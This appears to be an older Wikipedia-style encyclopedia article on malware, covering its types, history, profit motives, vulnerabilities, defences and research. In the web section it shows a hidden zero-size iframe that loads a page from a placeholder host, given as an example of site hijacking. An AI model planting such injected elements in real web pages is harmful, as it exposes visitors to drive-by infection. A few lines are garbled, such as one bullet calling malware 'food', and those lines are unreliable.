Malware

Malware, short for malicious software, consists of programming (code, scripts, active content, and other software) designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior.^[1] The expression is a general term used by computer professionals to mean a variety of forms of hostile, intrusive, or annoying software or program code.^[2]

Software is considered to be malware based on the perceived intent of the creator rather than any particular features. Malware includes computer viruses, worms, trojan horses, spyware, dishonest adware, scareware, crimeware, most rootkits, and other malicious and unwanted software or program. In law, malware is sometimes known as a computer contaminant, for instance in the legal codes of several U.S. states, including California and West Virginia.^[3][4]

Preliminary results from Symantec published in 2008 suggested that "the release rate of malicious code and other unwanted programs may be exceeding that of legitimate software applications."^[5] According to F-Secure, "As much malware [was] produced in 2007 as in the previous 20 years altogether."^[6] Malware's most common pathway from criminals to users is through the Internet: primarily by e-mail and the World Wide Web.^[7]

The prevalence of malware as a vehicle for organized Internet crime, along with the general inability of traditional anti-malware protection platforms (products) to protect against the continuous stream of unique and newly produced malware, has seen the adoption of a new mindset for businesses operating on the Internet: the acknowledgment that some sizable percentage of Internet customers will always be infected for some reason or another, and that they need to continue doing business with infected customers. The result is a greater emphasis on back-office systems designed to spot fraudulent activities associated with advanced malware operating on customers' computers.^[8]

On March 29, 2010, Symantec Corporation named Shaoxing, China, as the world's malware capital.^[9]

A 2011 study from the University of California, Berkeley, and the Madrid Institute for Advanced Studies published in Software Development Technologies, “Measuring Pay-per-Install: The Commoditization of Malware Distribution," examined how entrepreneurial hackers are helping enable the proliferation of malware by offering access for a price (from $7 to $180 per thousand infections) and make up an informal underground Pay-Per-Install (PPI) industry. The study's authors identified more than 57 malware “families," including spam bots, fake antivirus programs, information-stealing trojans, denial-of-service bots and adware. To avoid detection by anti-virus software, malware distributed by PPI services is on average repacked every 11 days, with one observed family of malware repacking up to twice a day. Although most common families of malware targeted both Europe and the United States, there were some families with a single-country focus and some families with no geographic bias. In terms of cost per thousand infections, the United States and Great Britain were at the high end ($100 to $180), other European countries at $20 to $160, and the rest of the world below $10, the study found.^[10]

Microsoft reported in May 2011 that every one in 14 downloads from the Internet may now contain malware code, according to the Wall Street Journal. Social media, and Facebook in particular, is seeing a rise in new tactics for spreading harm to computers.^[11]

Malware is not the same as defective software, that is, software that has a legitimate purpose but contains harmful bugs. Sometimes, malware is disguised as genuine software, and may come from an official site. Therefore, some security programs, such as McAfee may call malware "potentially unwanted programs" or "PUP". Though a computer virus is malware that can reproduce itself, the term is often used erroneously to refer to the entire category.

Purposes

Malware by categories on March 16, 2011.

Many early infectious programs, including the first Internet Worm and a number of MS-DOS viruses, were written as experiments or pranks. They were generally intended to be harmless or merely annoying, rather than to cause serious damage to computer systems. In some cases, the perpetrator did not realize how much harm his or her creations would do. Young programmers learning about viruses and their techniques wrote them simply for practice, or to see how far they could spread. As late as 1999, widespread viruses such as the Melissa virus and the David virus appear to have been written chiefly as pranks. The first mobile phone virus, Cabir, appeared in 2004.

Hostile intent related to vandalism can be found in programs designed to cause harm or data loss. Many DOS viruses, and the Windows ExploreZip worm, were designed to destroy files on a hard disk, or to corrupt the file system by writing invalid data to them. Network-borne worms such as the 2001 Code Red worm or the Ramen worm fall into the same category. Designed to vandalize web pages, worms may seem like the online equivalent to graffiti tagging, with the author's alias or affinity group appearing everywhere the worm goes.^{[citation needed]}

Since the rise of widespread broadband Internet access, malicious software has been designed for a profit (e.g. forced advertising). For instance, since 2003, the majority of widespread viruses and worms have been designed to take control of users' computers for black-market exploitation.^[12] Infected "zombie computers" are used to send email spam, to host contraband data such as child pornography,^[13] or to engage in distributed denial-of-service attacks as a form of extortion.^[14]

Another strictly for-profit category of malware has emerged in spyware -- programs designed to monitor users' web browsing, display unsolicited advertisements, or redirect affiliate marketing revenues to the spyware creator. Spyware programs do not spread like viruses; they are, in general, installed by exploiting security holes or are packaged with user-installed software, such as peer-to-peer applications.

Infectious malware: viruses and worms

Main articles: Computer virus and Computer worm

The best-known types of malware, viruses and worms, are known for the manner in which they spread, rather than any other particular behavior. The term computer virus is used for a program that has infected some executable software and, when run, causes the virus to spread to other executables. Viruses may also contain a payload that performs other actions, often malicious. On the other hand, a worm is a program that actively transmits itself over a network to infect other computers. It too may carry a payload.

These definitions lead to the observation that a virus requires user intervention to spread, whereas a worm spreads itself automatically. Using this distinction, infections transmitted by email or Microsoft Word documents, which rely on the recipient opening a file or email to infect the system, would be classified as viruses rather than worms.

Some writers in the trade and popular press misunderstand this distinction and use the terms interchangeably.

Capsule history of viruses and worms

Before Internet access became widespread, viruses spread on personal computers by infecting the executable boot sectors of floppy disks. By inserting a copy of itself into the machine code instructions in these executables, a virus causes itself to be run whenever a program is run or the disk is booted. Early computer viruses were written for the Apple II and Macintosh, but they became more widespread with the dominance of the IBM PC and MS-DOS system. Executable-infecting viruses are dependent on users exchanging software or boot-able floppies, so they spread rapidly in computer hobbyist circles.

The first worms, network-borne infectious programs, originated not on personal computers, but on multitasking Unix systems. The first well-known worm was the Internet Worm of 1988, which infected SunOS and VAX BSD systems. Unlike a virus, this worm did not insert itself into other programs. Instead, it exploited security holes (vulnerabilities) in network server programs and started itself running as a separate process. This same behaviour is used by today's worms as well.

With the rise of the Microsoft Windows platform in the 1990s, and the flexible macros of its applications, it became possible to write infectious code in the macro language of Microsoft Word and similar programs. These macro viruses infect documents and templates rather than applications (executables), but rely on the fact that macros in a Word document are a form of executable code.

Today, worms are most commonly written for the Windows OS, although a few like Mare-D^[15] and the Lion worm^[16] are also written for Linux and Unix systems. Worms today work in the same basic way as 1988's Internet Worm: they scan the network and leverage vulnerable computers to replicate. Because they need no human intervention, worms can spread with incredible speed. The SQL Slammer infected thousands of computers in a few minutes.^[17]

Concealment: Trojan horses, rootkits, and backdoors

Main articles: Trojan horse (computing), Rootkit, and Backdoor (computing)

Trojan horses

For a malicious program to accomplish its goals, it must be able to run without being shut down, or deleted by the user or administrator of the computer system on which it is running. Concealment can also help get the malware installed in the first place. When a malicious program is disguised as something innocuous or desirable, users may be tempted to install it without knowing what it does. This is the technique of the Trojan horse or trojan.

In broad terms, a Trojan horse is any program that invites the user to run it, concealing a harmful or malicious payload. The payload may take effect immediately and can lead to many undesirable effects, such as deleting the user's files or further installing malicious or undesirable software. Trojan horses known as droppers are used to start off a worm outbreak, by injecting the worm into users' local network.

One of the most common ways that spyware is distributed is as a Trojan horse, bundled with a piece of desirable software that the user downloads from the Internet. When the user installs the software, the spyware is installed alongside. Spyware authors who attempt to act in a legal fashion may include an end-user license agreement that states the behavior of the spyware in loose terms, which the users are unlikely to read or understand.

Trojans are most commonly used for marketing. Today's advanced malware/trojans are fully capable of hijacking complete control of a browser regardless of IE or Mozilla. It has even been known to add false exceptions to a browser's security settings as well as editing a computer's registry.

Rootkits

Once a malicious program is installed on a system, it is essential that it stays concealed, to avoid detection and disinfection. The same is true when a human attacker breaks into a computer directly. Techniques known as rootkits allow this concealment, by modifying the host's operating system so that the malware is hidden from the user. Rootkits can prevent a malicious process from being visible in the system's list of processes, or keep its files from being read. Originally, a rootkit was a set of tools installed by a human attacker on a Unix system, allowing the attacker to gain administrator (root) access. Today, the term is used more generally for concealment routines in a malicious program.

Some malicious programs contain routines to defend against removal, not merely to hide themselves, but to repel attempts to remove them. An early example of this behavior is recorded in the Jargon File tale of a pair of programs infesting a Xerox CP-V time sharing system:

Each ghost-job would detect the fact that the other had been killed, and would start a new copy of the recently slain program within a few milliseconds. The only way to kill both ghosts was to kill them simultaneously (very difficult) or to deliberately crash the system.^[18]

Similar techniques are used by some modern malware, wherein the malware starts a number of processes that monitor and restore one another as needed. In the event a user running Microsoft Windows is infected with such malware, if they wish to manually stop it, they could use Task Manager's 'processes' tab to find the main process (the one that spawned the "resurrector process(es)"), and use the 'end process tree' function, which would kill not only the main process, but the "resurrector(s)" as well, since they were started by the main process. Some malware programs use other techniques, such as naming the infected file similar to a legitimate or trustworthy file (expl0rer.exe VS explorer.exe).

Backdoors

A backdoor is a method of bypassing normal authentication procedures. Once a system has been compromised (by one of the above methods, or in some other way), one or more backdoors may be installed in order to allow easier access in the future. Backdoors may also be installed prior to malicious software, to allow attackers entry.

The idea has often been suggested that computer manufacturers preinstall backdoors on their systems to provide technical support for customers, but this has never been reliably verified. Crackers typically use backdoors to secure remote access to a computer, while attempting to remain hidden from casual inspection. To install backdoors crackers may use Trojan horses, worms, or other methods.

Malware for profit: spyware, botnets, keystroke loggers, and dialers

Main articles: Spyware, Botnet, Keystroke logging, Web threats, and Dialer

During the 1980s and 1990s, it was usually taken for granted that malicious programs were created as a form of vandalism or prank. More recently, the greater share of malware programs have been written with a profit motive (financial or otherwise) in mind. This can be taken as the malware authors' choice to monetize their control over infected systems: to turn that control into a source of revenue.

Spyware programs are commercially produced for the purpose of gathering information about computer users, showing them pop-up ads, or altering web-browser behavior for the financial benefit of the spyware creator. For instance, some spyware programs redirect search engine results to paid advertisements. Others, often called "stealware" by the media, overwrite affiliate marketing codes so that revenue is redirected to the spyware creator rather than the intended recipient.

Spyware programs are sometimes installed as Trojan horses of one sort or another. They differ in that their creators present themselves openly as businesses, for instance by selling advertising space on the pop-ups created by the malware. Most such programs present the user with an end-user license agreement that purportedly protects the creator from prosecution under computer contaminant laws. However, spyware EULAs have not yet been upheld in court.

Another way that financially motivated malware creators can profit from their infections is to directly use the infected computers to do work for the creator. The infected computers are used as proxies to send out spam messages. A computer left in this state is often known as a zombie computer. The advantage to spammers of using infected computers is they provide anonymity, protecting the spammer from prosecution. Spammers have also used infected PCs to target anti-spam organizations with distributed denial-of-service attacks.

In order to coordinate the activity of many infected computers, attackers have used coordinating systems known as botnets. In a botnet, the malware or malbot logs in to an Internet Relay Chat channel or other chat system. The attacker can then give instructions to all the infected systems simultaneously. Botnets can also be used to push upgraded malware to the infected systems, keeping them resistant to antivirus software or other security measures.

It is possible for a malware creator to profit by stealing sensitive information from a victim. Some malware programs install a key logger, which intercepts the user's keystrokes when entering a password, credit card number, or other information that may be exploited. This is then transmitted to the malware creator automatically, enabling credit card fraud and other theft. Similarly, malware may copy the CD key or password for online games, allowing the creator to steal accounts or virtual items.

Another way of stealing money from the infected PC owner is to take control of a dial-up modem and dial an expensive toll call. Dialer (or porn dialer) software dials up a premium-rate telephone number such as a U.S. "900 number" and leave the line open, charging the toll to the infected user.

Data-stealing malware

Data-stealing malware is a web threat that divest victims of personal and proprietary information with the intent of monetizing stolen data through direct use or underground distribution. Content security threats that fall under this umbrella include keyloggers, screen scrapers, spyware, adware, backdoors, and bots. The term does not refer to activities such as spam, phishing, DNS poisoning, SEO abuse, etc. However, when these threats result in file download or direct installation, as most hybrid attacks do, files that act as agents to proxy information will fall into the data-stealing malware category.

Characteristics of data-stealing malware

Does not leave traces of the event

• The malware is typically food.
• The malware may be installed via a drive-by-download process
• The website hosting the malware as well as the malware is generally temporary or rogue

Frequently changes and extends its functions

• It is difficult for antivirus software to detect final payload attributes due to the combination(s) of malware components
• The malware uses multiple file encryption levels

Thwarts Intrusion Detection Systems (IDS) after successful installation

• There are no perceivable network anomalies
• The malware hides in web traffic
• The malware is stealthier in terms of traffic and resource use

Thwarts disk encryption

• Data is stolen during decryption and display
• The malware can record keystrokes, passwords, and screenshots

Thwarts Data Loss Prevention (DLP)

• Leakage protection hinges on metadata tagging, not everything is tagged
• Miscreants can use encryption to port data

Examples of data-stealing malware

• Bancos, an info stealer that waits for the user to access banking websites then spoofs pages of the bank website to steal sensitive information.
• Gator, spyware that covertly monitors web-surfing habits, uploads data to a server for analysis then serves targeted pop-up ads.
• LegMir, spyware that steals personal information such as account names and passwords related to online games.
• Qhost, a Trojan that modifies the Hosts file to point to a different DNS server when banking sites are accessed then opens a spoofed login page to steal login credentials for those financial institutions.

Data-stealing malware incidents

• Albert Gonzalez (not to be confused with the U.S. Attorney General Alberto Gonzalez) is accused of masterminding a ring to use malware to steal and sell more than 170 million credit card numbers in 2006 and 2007—the largest computer fraud in history. Among the firms targeted were BJ's Wholesale Club, TJX, DSW Shoes, OfficeMax, Barnes & Noble, Boston Market, Sports Authority and Forever 21.^[19]
• A Trojan horse program stole more than 1.6 million records belonging to several hundred thousand people from Monster Worldwide Inc’s job search service. The data was used by cybercriminals to craft phishing emails targeted at Monster.com users to plant additional malware on users’ PCs.^[20]
• Customers of Hannaford Bros. Co., a supermarket chain based in Maine, were victims of a data security breach involving the potential compromise of 4.2 million debit and credit cards. The company was hit by several class-action law suits.^[21]
• The Torpig Trojan has compromised and stolen login credentials from approximately 250,000 online bank accounts as well as a similar number of credit and debit cards. Other information such as email, and FTP accounts from numerous websites, have also been compromised and stolen.^[22]

Controversy about assignment to spyware

There is a group of software (Alexa toolbar, Google toolbar, Eclipse data usage collector, etc.) that send data to a central server about which pages have been visited or which features of the software have been used. However differently from "classic" malware these tools document activities and only send data with the user's approval. The user may opt in to share the data in exchange to the additional features and services, or (in case of Eclipse) as the form of voluntary support for the project. Some security tools report such loggers as malware while others do not. The status of the group is questionable. Some tools like PDFCreator are more on the boundary than others because opting out has been made more complex than it could be (during the installation, the user needs to uncheck two check boxes rather than one). However also PDFCreator is only sometimes mentioned as malware and is still subject of discussions.

Vulnerability to malware

Main article: Vulnerability (computing)

In this context, as throughout, it should be borne in mind that the “system” under attack may be of various types, e.g. a single computer and operating system, a network or an application.

Various factors make a system more vulnerable to malware:

• Homogeneity: e.g. when all computers in a network run the same OS, upon exploiting one, one can exploit them all.
• Weight of numbers: simply because the vast majority of existing malware is written to attack Windows systems, then Windows systems, ipso facto, are more vulnerable to succumbing to malware (regardless of the security strengths or weaknesses of Windows itself).
• Defects: malware leveraging defects in the OS design.
• Unconfirmed code: code from a floppy disk, CD-ROM or USB device may be executed without the user’s agreement.
• Over-privileged users: some systems allow all users to modify their internal structures.
• Over-privileged code: some systems allow code executed by a user to access all rights of that user.

An oft-cited cause of vulnerability of networks is homogeneity or software monoculture.^[23] For example, Microsoft Windows or Apple Mac have such a large share of the market that concentrating on either could enable a cracker to subvert a large number of systems, but any total monoculture is a problem. Instead, introducing inhomogeneity (diversity), purely for the sake of robustness, could increase short-term costs for training and maintenance. However, having a few diverse nodes would deter total shutdown of the network, and allow those nodes to help with recovery of the infected nodes. Such separate, functional redundancy would avoid the cost of a total shutdown, would avoid homogeneity as the problem of "all eggs in one basket".

Most systems contain bugs, or loopholes, which may be exploited by malware. A typical example is the buffer-overrun weakness, in which an interface designed to store data, in a small area of memory, allows the caller to supply more data than will fit. This extra data then overwrites the interface's own executable structure (past the end of the buffer and other data). In this manner, malware can force the system to execute malicious code, by replacing legitimate code with its own payload of instructions (or data values) copied into live memory, outside the buffer area.

Originally, PCs had to be booted from floppy disks, and until recently it was common for this to be the default boot device. This meant that a corrupt floppy disk could subvert the computer during booting, and the same applies to CDs. Although that is now less common, it is still possible to forget that one has changed the default, and rare that a BIOS makes one confirm a boot from removable media.

In some systems, non-administrator users are over-privileged by design, in the sense that they are allowed to modify internal structures of the system. In some environments, users are over-privileged because they have been inappropriately granted administrator or equivalent status. This is primarily a configuration decision, but on Microsoft Windows systems the default configuration is to over-privilege the user. This situation exists due to decisions made by Microsoft to prioritize compatibility with older systems above security configuration in newer systems^{[citation needed]} and because typical applications were developed without the under-privileged users in mind. As privilege escalation exploits have increased this priority is shifting for the release of Microsoft Windows Vista. As a result, many existing applications that require excess privilege (over-privileged code) may have compatibility problems with Vista. However, Vista's User Account Control feature attempts to remedy applications not designed for under-privileged users, acting as a crutch to resolve the privileged access problem inherent in legacy applications.

Malware, running as over-privileged code, can use this privilege to subvert the system. Almost all currently popular operating systems, and also many scripting applications allow code too many privileges, usually in the sense that when a user executes code, the system allows that code all rights of that user. This makes users vulnerable to malware in the form of e-mail attachments, which may or may not be disguised.

Given this state of affairs, users are warned only to open attachments they trust, and to be wary of code received from untrusted sources. It is also common for operating systems to be designed so that device drivers need escalated privileges, while they are supplied by more and more hardware manufacturers.

Eliminating over-privileged code

Over-privileged code dates from the time when most programs were either delivered with a computer or written in-house, and repairing it would at a stroke render most antivirus software almost redundant. It would, however, have appreciable consequences for the user interface and system management.

The system would have to maintain privilege profiles, and know which to apply for each user and program. In the case of newly installed software, an administrator would need to set up default profiles for the new code.

Eliminating vulnerability to rogue device drivers is probably harder than for arbitrary rogue executables. Two techniques, used in VMS, that can help are memory mapping only the registers of the device in question and a system interface associating the driver with interrupts from the device.

Other approaches are:

• Various forms of virtualization, allowing the code unlimited access only to virtual resources
• Various forms of sandbox or jail
• The security functions of Java, in java.security

Such approaches, however, if not fully integrated with the operating system, would reduplicate effort and not be universally applied, both of which would be detrimental to security.

Anti-malware programs

Main article: Antivirus software

As malware attacks become more frequent, attention has begun to shift from viruses and spyware protection, to malware protection, and programs have been developed specifically to combat them.

Anti-malware programs can combat malware in two ways:

1. They can provide real time protection against the installation of malware software on a computer. This type of spyware protection works the same way as that of antivirus protection in that the anti-malware software scans all incoming network data for malware software and blocks any threats it comes across.
2. Anti-malware software programs can be used solely for detection and removal of malware software that has already been installed onto a computer. This type of malware protection is normally much easier to use and more popular.^{[citation needed]} This type of anti-malware software scans the contents of the Windows registry, operating system files, and installed programs on a computer and will provide a list of any threats found, allowing the user to choose which files to delete or keep, or to compare this list to a list of known malware components, removing files that match.

Real-time protection from malware works identically to real-time antivirus protection: the software scans disk files at download time, and blocks the activity of components known to represent malware. In some cases, it may also intercept attempts to install start-up items or to modify browser settings. Because many malware components are installed as a result of browser exploits or user error, using security software (some of which are anti-malware, though many are not) to "sandbox" browsers (essentially babysit the user and their browser) can also be effective in helping to restrict any damage done.

Website security scans

As malware also harms the compromised websites (by breaking reputation, blacklisting in search engines, etc.), some^[24] companies offer the paid site scan service. Such scans periodically check the site, detecting malware, noticed security vulnerabilities, outdated software stack with known security issues, etc. The found issues are only reported to the site owner who can take means to fix them. The provider may also offer the security badge that the owner can only display if the site has been recently scanned and is "clean".

Academic research

The notion of a self-reproducing computer program can be traced back to when presented lectures that encompassed the theory and organization of complicated automata.^[25] John von Neumann showed that in theory a program could reproduce itself. This constituted a plausibility result in computability theory. Fred Cohen experimented with computer viruses and confirmed Neumann's postulate. He also investigated other properties of malware (detectability, self-obfuscating programs that used rudimentary encryption that he called "evolutionary", and so on). His 1988 doctoral dissertation was on the subject of computer viruses.^[26] Cohen's faculty advisor, Leonard Adleman (the A in RSA) presented a rigorous proof that, in the general case, algorithmically determining whether a virus is or is not present is Turing undecidable.^[27] This problem must not be mistaken for that of determining, within a broad class of programs, that a virus is not present; this problem differs in that it does not require the ability to recognize all viruses. Adleman's proof is perhaps the deepest result in malware computability theory to date and it relies on Cantor's diagonal argument as well as the halting problem. Ironically, it was later shown by Young and Yung that Adleman's work in cryptography is ideal in constructing a virus that is highly resistant to reverse-engineering by presenting the notion of a cryptovirus.^[28] A cryptovirus is a virus that contains and uses a public key and randomly generated symmetric cipher initialization vector (IV) and session key (SK). In the cryptoviral extortion attack, the virus hybrid encrypts plaintext data on the victim's machine using the randomly generated IV and SK. The IV+SK are then encrypted using the virus writer's public key. In theory the victim must negotiate with the virus writer to get the IV+SK back in order to decrypt the ciphertext (assuming there are no backups). Analysis of the virus reveals the public key, not the IV and SK needed for decryption, or the private key needed to recover the IV and SK. This result was the first to show that computational complexity theory can be used to devise malware that is robust against reverse-engineering.

A growing area of computer virus research is to mathematically model the infection behavior of worms using models such as Lotka–Volterra equations, which has been applied in the study of biological virus. Various virus propagation scenarios have been studied by researchers such as propagation of computer virus, fighting virus with virus like predator codes,^[29][30] effectiveness of patching etc.

Behavioral malware detection has been a particularly lively research area lately. Most approaches to behavioral detection are based on analysis of system call dependencies. The executed binary is traced using strace or more precise taint analysis to compute data-flow dependencies among system calls. The result is a directed graph G = (V,E) such that nodes are system calls, and edges represent dependencies. For example, $(s,t)\in E$ if a result returned by system call s (either directly as a result or indirectly through output parameters) is later used as a parameter of system call t. The origins of the idea to use system calls to analyze software can be found in the work of Forrest et al.^[31] Christodorescu et al.^[32] point out that malware authors cannot easily reorder system calls without changing the semantics of the program, which makes system call dependency graphs suitable for malware detection. They compute a difference between malware and goodware system call dependency graphs and use the resulting graphs for detection, achieving high detection rates. Kolbitsch et al.^[33] precompute symbolic expressions and evaluate them on the syscall parameters observed at runtime. They detect dependencies by observing whether the result obtained by evaluation matches the parameter values observed at runtime. Malware is detected by comparing the dependency graphs of the training and test sets. Fredrikson et al.^[34] describe an approach that uncovers distinguishing features in malware system call dependency graphs. They extract significant behaviors using concept analysis and leap mining.^[35] Babic et al.^[36] recently proposed a novel approach for both malware detection and classification based on grammar inference of tree automata. Their approach infers an automaton from dependency graphs, and they show how such an automaton could be used for detection and classification of malware.

Grayware

Grayware^[37] (or Greynet) is a general term sometimes used as a classification for applications that behave in a manner that is annoying or undesirable, and yet less serious or troublesome than malware.^[38] Grayware encompasses spyware, adware, dialers, joke programs, remote access tools, and any other unwelcome files and programs apart from viruses that are designed to harm the performance of computers on one's network. The term has been in use since at least as early as September 2004.^[39]

Grayware refers to applications or files that are not classified as viruses or trojan horse programs, but can still negatively affect the performance of the computers on a network and introduce significant security risks to an organization.^[40] Often grayware performs a variety of undesired actions such as irritating users with pop-up windows, tracking user habits and unnecessarily exposing computer vulnerabilities to attack.

• Spyware is software that installs components on a computer for the purpose of recording Web surfing habits (primarily for marketing purposes). Spyware sends this information to its author or to other interested parties when the computer is online. Spyware often downloads with items identified as 'free downloads' and does not notify the user of its existence or ask for permission to install the components. The information spyware components gather can include user keystrokes, which means that private information such as login names, passwords, and credit card numbers are vulnerable to theft.
• Adware is software that displays advertising banners on Web browsers such as Internet Explorer and Mozilla Firefox. While not categorized as malware, many users consider adware invasive. Adware programs often create unwanted effects on a system, such as annoying popup ads and the general degradation in either network connection or system performance. Adware programs are typically installed as separate programs that are bundled with certain free software. Many users inadvertently agree to installing adware by accepting the End User License Agreement (EULA) on the free software. Adware are also often installed in tandem with spyware programs. Both programs feed off each other's functionalities: spyware programs profile users' Internet behavior, while adware programs display targeted ads that correspond to the gathered user profile.

Web and spam

<iframe
 src="http://example.net/out.php?s_id=11"
 width=0 height=0 />

If an intruder can gain access to a website, it can be hijacked with a single HTML element.^[41]

The World Wide Web is a criminals' preferred pathway for spreading malware. Today's web threats use combinations of malware to create infection chains. About one in ten Web pages may contain malicious code.^[42]

Wikis and blogs

Attackers may use wikis and blogs to advertise links that lead to malware sites.^[43]

Wiki and blog servers can also be attacked directly. In 2010, Network Solutions was compromised^[44][45] and some hosted sites became a path to malware and spam.

Targeted SMTP threats

Targeted SMTP threats also represent an emerging attack vector through which malware is propagated. As users adapt to widespread spam attacks, cybercriminals distribute crimeware to target one specific organization or industry, often for financial gain.^[46]

See also

	Computing portal
	Computer security portal

• Category:Web security exploits
• Computer crime
• Computer insecurity
• Cyber spying
• Firewall (computing)
• Industrial espionage
• It risk
• Malvertising
• Play mp3.exe (trojan)
• Privacy-invasive software
• Security in Web applications
• Social engineering (security)
• Spy software
• Targeted threat
• Securelist.com
• Web server overload causes
• White-collar crime

References

1. ^ http://www.us-cert.gov/control_systems/pdf/undirected_attack0905.pdf
2. ^ "Defining Malware: FAQ". technet.microsoft.com. http://technet.microsoft.com/en-us/library/dd632948.aspx. Retrieved 2009-09-10. 
3. ^ National Conference of State Legislatures Virus/Contaminant/Destructive Transmission Statutes by State
4. ^ "§18.2-152.4:1 Penalty for Computer Contamination" (PDF). Joint Commission on Technology and Science. http://jcots.state.va.us/2005%20Content/pdf/Computer%20Contamination%20Bill.pdf. Retrieved 2010-09-17. 
5. ^ (PDF) Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary). XIII. Symantec Corp.. April 2008. p. 29. http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf. Retrieved 2008-05-11. 
6. ^ "F-Secure Reports Amount of Malware Grew by 100% during 2007" (Press release). F-Secure Corporation. December 4, 2007. http://www.f-secure.com/f-secure/pressroom/news/fs_news_20071204_1_eng.html. Retrieved 2007-12-11. 
7. ^ "F-Secure Quarterly Security Wrap-up for the first quarter of 2008". F-Secure. March 31, 2008. http://www.f-secure.com/f-secure/pressroom/news/fsnews_20080331_1_eng.html. Retrieved 2008-04-25. 
8. ^ "Continuing Business with Malware Infected Customers". Gunter Ollmann. October 2008. http://www.technicalinfo.net/papers/MalwareInfectedCustomers.html. 
9. ^ "Symantec names Shaoxing, China as world's malware capital". Engadget. http://www.engadget.com/2010/03/29/symantec-names-shaoxing-china-worlds-malware-capital. Retrieved 2010-04-15. 
10. ^ ""Measuring Pay-per-Install: The Commoditization of Malware Distribution"". Journalist's Resource.org. http://journalistsresource.org/studies/society/media-society/pay-per-install-malware-distribution/. 
11. ^ ""Malware Is Posing Increasing Danger"". Wall Street Journal. http://online.wsj.com/article/SB10001424052748704904604576332812592346714.html. 
12. ^ "Malware Revolution: A Change in Target". March 2007. http://technet.microsoft.com/en-us/library/cc512596.aspx. 
13. ^ "Child Porn: Malware's Ultimate Evil". November 2009. http://www.itworld.com/security/84077/child-porn-malwares-ultimate-evil. 
14. ^ PC World - Zombie PCs: Silent, Growing Threat.
15. ^ Nick Farrell (20 February 2006). "Linux worm targets PHP flaw". The Register. http://www.theregister.co.uk/2006/02/20/linux_worm/. Retrieved 19 May 2010. 
16. ^ John Leyden (March 28, 2001). "Highly destructive Linux worm mutating". The Register. http://www.theregister.co.uk/2001/03/28/highly_destructive_linux_worm_mutating/. Retrieved 19 May 2010. 
17. ^ "Aggressive net bug makes history". BBC News. February 3, 2003. http://news.bbc.co.uk/2/hi/technology/2720337.stm. Retrieved 19 May 2010. 
18. ^ "Catb.org". Catb.org. http://catb.org/jargon/html/meaning-of-hack.html. Retrieved 2010-04-15. 
19. ^ "Gonzalez, Albert — Indictment 080508". US Department of Justice Press Office. pp. 01–18. http://www.usdoj.gov/usao/ma/Press%20Office%20-%20Press%20Release%20Files/IDTheft/Gonzalez,%20Albert%20-%20Indictment%20080508.pdf. Retrieved 2010-. 
20. ^ Keizer, Gregg (2007) Monster.com data theft may be bigger
21. ^ Vijayan, Jaikumar (2008) Hannaford hit by class-action lawsuits in wake of data breach disclosure
22. ^ BBC News: Trojan virus steals banking info
23. ^ "LNCS 3786 - Key Factors Influencing Worm Infection", U. Kanlayasiri, 2006, web (PDF): SL40-PDF.
24. ^ An example of the web site scan proposal
25. ^ John von Neumann, "Theory of Self-Reproducing Automata", Part 1: Transcripts of lectures given at the University of Illinois, December 1949, Editor: A. W. Burks, University of Illinois, USA, 1966.
26. ^ Fred Cohen, "Computer Viruses", PhD Thesis, University of Southern California, ASP Press, 1988.
27. ^ L. M. Adleman, "An Abstract Theory of Computer Viruses", Advances in Cryptology---Crypto '88, LNCS 403, pp. 354-374, 1988.
28. ^ A. Young, M. Yung, "Cryptovirology: Extortion-Based Security Threats and Countermeasures," IEEE Symposium on Security & Privacy, pp. 129-141, 1996.
29. ^ H. Toyoizumi, A. Kara. Predators: Good Will Mobile Codes Combat against Computer Viruses. Proc. of the 2002 New Security Paradigms Workshop, 2002
30. ^ Zakiya M. Tamimi, Javed I. Khan, Model-Based Analysis of Two Fighting Worms, IEEE/IIU Proc. of ICCCE '06, Kuala Lumpur, Malaysia, May 2006, Vol-I, p. 157-163.
31. ^ S. Forrest, S. A. Hofmeyr, A. Somayaji, T. A. Longstaff, Thomas A.: A Sense of Self for Unix Processes, Proc. of the 1996 IEEE Symp. on Security and Privacy, 1996, p. 120-129.
32. ^ M. Christodorescu, S. Jha, C. Kruegel: Mining specifications of malicious behavior, Proc. of the 6th joint meeting of the European software engineering conf. and the ACM SIGSOFT symp. on The foundations of software engineering, 2007, p. 5-14
33. ^ C. Kolbitsch, P. Milani, C. Kruegel, E. Kirda, X. Zhou, and X. Wang: Effective and Efficient Malware Detection at the End Host, The 18th USENIX Security Symposium, 2009.
34. ^ M. Fredrikson, S. Jha, M. Christodorescu, R. Sailer, and X. Yan: Synthesizing Near-Optimal Malware Specifications from Suspicious Behaviors, Proc. of the 2010 IEEE Symposium on Security and Privacy, 2010, p. 45-60.
35. ^ X. Yan, H. Cheng, J. Han, and P. S. Yu: Mining significant graph patterns by leap search in Proceedings of the 2008 ACM SIGMOD International Conference on Management of Data (SIGMOD’08). New York, NY, USA: ACM Press, 2008, pp. 433-444
36. ^ D. Babic, D. Reynaud, and D. Song: Malware Analysis with Tree Automata Inference, in Proceedings of the 23rd Int. Conference on Computer Aided Verification, 2011, Springer.
37. ^ "Other meanings". Archived from the original on June 30, 2007. http://web.archive.org/web/20070630152901/http://mpc.byu.edu/Exhibitions/Of+Earth+Stone+and+Corn/Activities/Native+American+Pottery.dhtml. Retrieved 2007-01-20.  The term "grayware" is also used to describe a kind of Native American pottery and has also been used by some working in computer technology as slang for the human brain. "grayware definition". TechWeb.com. http://www.techweb.com/encyclopedia/defineterm.jhtml?term=grayware. Retrieved 2007-01-02. 
38. ^ "Greyware". What is greyware? - A word definition from the Webopedia Computer Dictionary. http://webopedia.com/TERM/g/greyware.html. Retrieved 2006-06-05. 
39. ^ Antony Savvas. "The network clampdown". Computer Weekly. http://www.computerweekly.com/Articles/2004/09/28/205554/the-network-clampdown.htm. Retrieved 2007-01-20. 
40. ^ "Fortinet WhitePaper Protecting networks against spyware, adware and other forms of grayware" (PDF). http://www.boll.ch/fortinet/assets/Grayware.pdf. Retrieved 2007-01-20. 
41. ^ Zittrain, Jonathan (Mike Deehan, producer) (2008-04-17). Berkman Book Release: The Future of the Internet — And How to Stop It (video/audio). Cambridge, MA, USA: Berkman Center, The President and Fellows of Harvard College. http://cyber.law.harvard.edu/interactive/events/2008/04/zittrain. Retrieved 2008-04-21. 
42. ^ "Google searches web's dark side". BBC News. May 11, 2007. http://news.bbc.co.uk/2/hi/technology/6645895.stm. Retrieved 2008-04-26. 
